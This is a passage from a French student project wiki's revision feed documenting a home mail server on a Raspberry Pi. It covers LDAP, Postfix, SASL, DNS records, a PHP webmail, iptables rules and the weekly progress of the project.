* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27278</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27278"/>
				<updated>2016-02-17T09:58:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 20 (15/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
